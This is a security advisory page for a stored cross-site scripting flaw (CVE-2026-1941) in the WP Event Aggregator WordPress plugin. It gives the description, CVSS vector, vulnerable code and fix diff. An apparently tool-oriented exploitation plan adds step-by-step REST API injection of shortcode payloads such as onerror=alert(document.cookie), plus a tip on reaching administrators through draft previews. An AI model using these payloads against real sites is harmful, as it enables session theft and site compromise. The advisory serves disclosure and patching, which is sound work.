WP Event Aggregator <= 1.8.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The WP Event Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_events' shortcode in all versions up to, and including, 1.8.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.8.7What Changed in the Fix
Changes introduced in v1.9.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1941 - WP Event Aggregator XSS ## 1. Vulnerability Summary The **WP Event Aggregator** plugin (versions <= 1.8.7) is vulnerable to Stored Cross-Site Scripting (XSS) via the `[wp_events]` shortcode. This occurs because user-supplied attributes within the shortc…
Show full research plan
Exploitation Research Plan: CVE-2026-1941 - WP Event Aggregator XSS
1. Vulnerability Summary
The WP Event Aggregator plugin (versions <= 1.8.7) is vulnerable to Stored Cross-Site Scripting (XSS) via the [wp_events] shortcode. This occurs because user-supplied attributes within the shortcode are processed and rendered on the front-end without sufficient sanitization or output escaping. An authenticated user with Contributor permissions or higher can save a post containing a malicious shortcode, which will execute arbitrary JavaScript in the browser of anyone viewing that post.
2. Attack Vector Analysis
- Shortcode:
[wp_events] - Vulnerable Attributes:
col,posts_per_page,category,past_events,order(and potentially others). - Authentication: Contributor-level access is required (standard permission to create/edit posts).
- Injection Point: The content area of any Post, Page, or Custom Post Type.
- Preconditions: The plugin must be active.
3. Code Flow
- Registration: In
includes/class-wp-event-aggregator-cpt.php, the shortcode is registered:add_shortcode('wp_events', array( $this, 'wp_events_archive' ) ); - Processing: When a post is rendered, WordPress calls the
wp_events_archive()method in theWP_Event_Aggregator_Cptclass. - Attribute Handling (Inferred): The method uses
shortcode_atts()to extract attributes likecol,category, etc. - Sink (Inferred): These attributes are then used to build HTML (likely as class names or data attributes) and returned to be displayed. The code fails to use
esc_attr()oresc_html()before returning the string. For example:
An attacker can use// Conceptual vulnerable code inside wp_events_archive $output .= '<div class="wpea-events-grid col-' . $atts['col'] . '">';col='"><script>alert(1)</script>'to break out of the HTML attribute and inject a script.
4. Nonce Acquisition Strategy
This vulnerability does not involve a custom plugin AJAX endpoint for the injection itself; rather, it leverages the standard WordPress post-saving mechanism.
To perform the injection as a Contributor:
- Standard Post Creation: A Contributor uses the WordPress REST API or the Classic/Block Editor.
- Nonce: To save a post via the REST API, a
wp_restnonce is required. This is typically found in thewp-adminarea. - Extraction:
- Navigate to
/wp-admin/post-new.phpusingbrowser_navigate. - Extract the REST nonce using
browser_eval("wpApiSettings.nonce").
- Navigate to
5. Exploitation Strategy
The goal is to create a post as a Contributor containing a payload that triggers when viewed by an Administrator.
Step 1: Authentication & Nonce
- Authenticate as a Contributor.
- Obtain a REST API nonce from the admin dashboard.
Step 2: Post Creation (Injection)
- Send a POST request to
/wp-json/wp/v2/poststo create a new post. - Header:
X-WP-Nonce: [NONCE_FROM_STEP_1] - Body (JSON):
Note: Contributors can often publish posts depending on site settings, or save them as "pending" for an Admin to review. Both trigger the XSS in the editor or on preview.{ "title": "Event Schedule", "content": "[wp_events col='\"><img src=x onerror=alert(document.cookie)>' category='test']", "status": "publish" }
Step 3: Triggering
- Access the newly created post URL.
- The attribute
colwill render as<div class="... col-"><img src=x onerror=alert(document.cookie)>">.
6. Test Data Setup
- Plugin Installation: Ensure
wp-event-aggregatorversion 1.8.7 is installed and activated. - User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Events (Optional): Create at least one event category and event to ensure the shortcode rendering logic is fully exercised.
wp term create event_category "Test Category" --slug=test wp post create --post_type=wp_events --post_title="Sample Event" --post_status=publish wp post term set [POST_ID] event_category test
7. Expected Results
- The
http_requestto create the post should return a201 Createdstatus. - Navigating to the post URL (as an Admin or any user) should trigger the
alert(document.cookie)payload. - In the page source, the injected HTML should look similar to:
... class="... col-"><img src=x onerror=alert(document.cookie)>" ...
8. Verification Steps
- Database Check: Verify the post content exists in the database.
wp post list --post_type=post --fields=post_content --title="Event Schedule" - Front-end Check: Use the
http_requesttool (GET) to fetch the post content and search for the unescaped payload string.# Search for the breaking sequence in the rendered HTML grep 'col-"><img src=x onerror=alert(document.cookie)>"'
9. Alternative Approaches
- Attribute:
category
Ifcolis sanitized, try thecategoryattribute:[wp_events category='"><script>alert(1)</script>'] - Gutenberg Block:
Since the plugin supports Gutenberg, if the shortcode block is restricted, use the plugin's specific Gutenberg block (if available in the Free version) which likely uses the same vulnerable rendering function internally. - Draft Preview:
If the Contributor cannot publish, use the preview link (/post.php?post=[ID]&preview=true). This is a powerful attack vector against Admins who must preview pending content.
Summary
The WP Event Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [wp_events] shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into posts or pages, which execute in the context of any user viewing the page.
Vulnerable Code
// includes/class-wp-event-aggregator-cpt.php:566 public function wp_events_archive( $atts = array() ){ //[wp_events col='2' layout="style2" posts_per_page='12' category="cat1,cat2" past_events="yes" order="desc" orderby="" start_date="" end_date="" ] $current_date = current_time('timestamp'); $ajaxpagi = isset( $atts['ajaxpagi'] ) ? $atts['ajaxpagi'] : ''; // ... (missing sanitization of $atts) ... --- // includes/class-wp-event-aggregator-cpt.php:761 ?> <div class="row_grid wpea_frontend_archive" data-paged="<?php echo esc_attr( $paged ); ?>" data-shortcode='<?php echo wp_json_encode( $atts ); ?>' > <?php
Security Fix
@@ -566,6 +566,42 @@ */ public function wp_events_archive( $atts = array() ){ //[wp_events col='2' layout="style2" posts_per_page='12' category="cat1,cat2" past_events="yes" order="desc" orderby="" start_date="" end_date="" ] + $atts = (array) $atts; + /* integers */ + $atts['paged'] = isset($atts['paged']) ? absint($atts['paged']) : 1; + $atts['posts_per_page'] = isset($atts['posts_per_page']) ? absint($atts['posts_per_page']) : ''; + $atts['col'] = isset($atts['col']) ? absint($atts['col']) : '2'; + + /* yes/no flags */ + $atts['ajaxpagi'] = (isset($atts['ajaxpagi']) && $atts['ajaxpagi'] === 'yes') ? 'yes' : 'no'; + $atts['past_events'] = (isset($atts['past_events']) && ($atts['past_events'] === 'yes' || $atts['past_events'] === true)) ? 'yes' : ''; + + /* layout whitelist */ + $allowed_layouts = array( 'style1', 'style2', 'style3', 'style4' ); + $atts['layout'] = (isset($atts['layout']) && in_array($atts['layout'], $allowed_layouts, true)) ? $atts['layout'] : 'style1'; + + /* order */ + $atts['order'] = (isset($atts['order']) && strtoupper($atts['order']) === 'DESC') ? 'DESC' : 'ASC'; + + /* orderby whitelist */ + $allowed_orderby = array( 'post_title', 'meta_value', 'event_start_date' ); + $atts['orderby'] = (isset($atts['orderby']) && in_array($atts['orderby'], $allowed_orderby, true)) ? $atts['orderby'] : ''; + + /* category */ + $category_str = isset( $atts['category'] ) ? urldecode( $atts['category'] ) : ''; + if (!empty($category_str)) { + $cats = array_map( 'trim', explode( ',', $category_str ) ); + $clean = array(); + foreach ($cats as $c) { + $clean[] = is_numeric($c) ? absint($c) : sanitize_title($c); + } + $atts['category'] = implode(',', $clean); + } + + /* dates */ + $atts['start_date'] = isset( $atts['start_date'] ) ? sanitize_text_field( $atts['start_date'] ) : ''; + $atts['end_date'] = isset( $atts['end_date'] ) ? sanitize_text_field( $atts['end_date'] ) : ''; + $current_date = current_time('timestamp'); $ajaxpagi = isset( $atts['ajaxpagi'] ) ? $atts['ajaxpagi'] : ''; if ( $ajaxpagi != 'yes' ) { @@ -758,7 +794,7 @@ } ob_start(); ?> - <div class="row_grid wpea_frontend_archive" data-paged="<?php echo esc_attr( $paged ); ?>" data-shortcode='<?php echo wp_json_encode( $atts ); ?>' > + <div class="row_grid wpea_frontend_archive" data-paged="<?php echo esc_attr( $paged ); ?>" data-shortcode="<?php echo esc_attr( wp_json_encode($atts, JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_QUOT) ); ?>" > <?php $template_args = array(); $template_args['css_class'] = $css_class;
Exploit Outline
An attacker with Contributor-level privileges can exploit this vulnerability by creating or editing a post and inserting the `[wp_events]` shortcode with a malicious attribute. For example, by setting an attribute such as `col` to a value containing a single quote and an event handler (e.g., `[wp_events col="' onmouseover='alert(document.cookie)'"]`), the attacker can break out of the JSON string stored in the `data-shortcode` HTML attribute. When the post is rendered on the front-end, the injected JavaScript will execute in the browser of any user who interacts with or views the page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.